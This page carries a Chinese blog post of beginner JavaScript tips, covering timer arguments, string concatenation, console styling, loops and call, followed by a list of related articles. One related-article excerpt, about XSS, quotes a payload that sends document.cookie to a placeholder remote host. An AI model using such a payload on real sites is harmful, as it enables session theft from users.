关于JS的几点TIPS
作为前端基本工作每天都会用到JS...但是我们对JS真的都了解吗,或者说有什么tips是我们不知道的呢。。
So..此文关于JS的几点tips.....
一:定时器(可传多个参数)
首先是一个一般的定时器,一般我们使用就用到定时器的2个参数,一个是function函数,一个是时间。
setTimeout(function(){ //函数
alert(1);
},2000) //时间
但是其实定时器有很多个参数参数,tips:
setTimeout(function(num){ //传一个形参
alert(num);
},2000,123) //回调参数
二:拼接字符串
在工作中经常会遇到拼接字符串的问题,比如我们给一个body元素添加内容:
window.onload=function(){
document.body.innerHTML='<div>div</div><span>span</span></p>p</p>123';
}
当这些字符串在一行上的时候,这样添加没有问题,如果我们添加的内容过多需要这行的时候,一般是这样拼接的:
window.onload=function(){
document.body.innerHTML=
'<div>div</div>'+
'<span>span</span>'+
'</p>p</p>'+
'123';
}
这种普遍方法妥妥的,一定问题都没。
下面是一种也许不那么常用的tips:
window.onload=function(){
document.body.innerHTML=
'<div>div</div>\ //在字符后天加一个反斜杠
<span>span</span>\
</p>p</p>\
123';
}
一样,妥妥的,木有一点问题!
三:Console.log()
主要用于打印,调试信息,首先,在调试台输出一个hallo
<script>
var a = 'hallo';
console.log(a);
</script>
OK,没有问题,其实我们不但可以输出一个字符, 还可以输出图像,样式。 我们现在给这个hallo添加样式
<script>
var a = 'hallo';
console.log('%c'+a,'font-size:400%;background:blue;color:red;');
</script>
挺靠谱~
四:tipeof
这个平时常用,用于检测数据类型的,一般这么用
var a = [];
alert(typeof a) //用空格连接,弹出object
还可以这么用
var a = [];
alert(typeof(a)) //用()连接,弹出object
五:嵌套for循环
首先定义2个for循环
for(var i=0;i<5;i++){ //i循环
for(var j=0;j<1;j++){ //j循环
if(i==3){
break; //没有跳出i循环, 只是跳过了3.
}
alert(i);
}
}
有时候我们需要跳出整个大的循环,so
a:for(var i=0;i<5;i++){ //给循环一个名称
for(var j=0;j<1;j++){
if(i==3){
break a; //跳出这个循环
}
alert(i);
}
}
六:for循环
1.最常用
for(var i=0;i<5;i++){ //3个值
alert(i)
}
2.也常用
var i = 0; //外部定义i
for(;i<5;i++){ //2个值
alert(i)
}
3.不常用
var i = 0;
for(;;){ //0个值
alert(i)
if(++i>=5){ //需if判断,不然死循环
break;
}
}
七:call
var obj = {
a : function(){
alert(this)
}
}
var arr = [1,2,3];
obj.a(); //this指向obj
如果要使this指向arr,只需call(arr)
obj.a.call(arr);
如果call()里面没有指向,自动指向window。
八:匿名函数自执行
错误写法
function(){
alert(123);
}();
正确写法 加(小括号)
(function(){
alert(123);
})(); //自动执行alert();
如果不想加小括号又想自执行,可以这样
!function(){
alert(123);
}();
加运算符,也是不会报错,不但可以加!,还可以~,或者+ (统统都不报错了)
九:创建对象
一般
var arr = new Array();
alert(arr.length);
其实可以不用对象后面的();
var arr = new Array;
alert(arr.length);
其实都是很多很小很小很小的细节方面,写的更少,做的更多,多么愉悦的一件事哈!
最后,细节决定成败! \ 0.0 /
关于JS的几点TIPS的更多相关文章
- js(jQuery)tips
一:页面加上$(function(){***内容***})与不加的区别 1.这个是DOM加载完之后再加载JS代码,你的JS如果放在文档后面可能一样,但是如果你要是把JS放在head里面就有差别了(放在 ...
- Frontend Development
原文链接: https://github.com/dypsilon/frontend-dev-bookmarks Frontend Development Looking for something ...
- 万物皆对象的JavaScript
写在前面: 经过前段时间对于H5语言的学习,开始慢慢适应现在的生活节奏和代码语言.从一开始的毫无头绪到现在可以大概地写出部分的网站静态页面,用了两个周的时间.作为一个之前从未接触过计算机语言的初学者来 ...
- Struts+Spring+Hibernate项目整合AJAX+JSON
1.什么是AJAX AJAX是 "Asynchronous JavaScript and XML" 的简称,即异步的JavaScript和XML. 所谓异步,就是提交一个请求不必等 ...
- 《前端之路》之 Babel 下一代 JavaScript 语法编译器
写本章的内容的出发点主要是 为了对于之前关于 JS 版本的一个总结,在之前的开发中,我们始终对于 ECMAScript 的版本的更新不够重视,以至于在后面的 开发过程中,我们始终会被各种新奇的语法打断 ...
- vuecli开发项目,文件打包后,appjs/vendorjs文件过大
项目上线后,浏览器第一次加载会特别特别慢,network中看到vendorjs文件1.9M,不慢才怪. echarts按需引入后,也有1.1M左右,由于对vue脚手架理解不深,自己扒了大量的文档,又测 ...
- layer.js中layer.tips
<script src="~/Content/js/layer/layer.js"></script> layer.tips('名称不能为空', '#pro ...
- xss如何加载远程js的一些tips
在早期 , 对于xss我们是这样利用的 <script>window.open('http://xxx.xxx/cookie.asp?msg='+document.cookie)</ ...
- JS Bin Tips and Bits • About
JS Bin Tips and Bits • About About Who built this? JS Bin was built by Remy Sharp and is completel ...
随机推荐
- phpize报cannot find autoconf
突然想往php种增加个模块,可是又不想重新编译php,因为真的比较费时间. phpize就可以解决这个问题. 遇到的问题: Configuring for: PHP Api Version: Zend ...
- Bzoj2563 阿狸和桃子的游戏
Time Limit: 3 Sec Memory Limit: 128 MBSubmit: 701 Solved: 496 Description 阿狸和桃子正在玩一个游戏,游戏是在一个带权图G= ...
- 洛谷P1565 牛宫
题目描述 AP 神牛准备给自己盖一座很华丽的宫殿.于是,他看中了一块N*M 的矩形空地. 空地中每个格子都有自己的海拔高度.AP 想让他的宫殿的平均海拔在海平面之上(假设 海平面的高度是0,平均数都会 ...
- Codeforces Intel Code Challenge Final Round (Div. 1 + Div. 2, Combined) B. Batch Sort(暴力)
传送门 Description You are given a table consisting of n rows and m columns. Numbers in each row form a ...
- 数据结构与算法分析 - 最短路(Dijkstra+floyd_Warshall+bellman_ford)
先附上Djikstra的代码:普通版 const int maxn=101; const int INF=0x3f3f3f3f; int edges[maxn][maxn]; int dist[max ...
- 机器学习实战------利用logistics回归预测病马死亡率
大家好久不见,实战部分一直托更,很不好意思.本文实验数据与代码来自机器学习实战这本书,倾删. 一:前期代码准备 1.1数据预处理 还是一样,设置两个数组,前两个作为特征值,后一个作为标签.当然这是简单 ...
- Docker入门教程(九)10个镜像相关的API
Docker入门教程(九)10个镜像相关的API [编者的话]DockerOne组织翻译了Flux7的Docker入门教程,本文是系列入门教程的第九篇,重点介绍了镜像相关的Docker Remote ...
- Spring配置文件详解 – applicationContext.xml文件路径
Spring配置文件详解 – applicationContext.xml文件路径 Java编程 spring的配置文件applicationContext.xml的默 ...
- Servlet Request的 getInputStream() getReader() getParameter()
如果你知道了这三者的区别,请忽略 最近碰到了servlet对入参获取方式的处理问题,因为二方库处理不当,导致了获取不到入参的情况,之前也知道这三个方法不兼容,现简单介绍下 1.这三个获取入参的方法,是 ...
- MYSQL版本问题:解决Deprecated: mysql_connect(): The mysql extension is deprecated and will be removed in the future.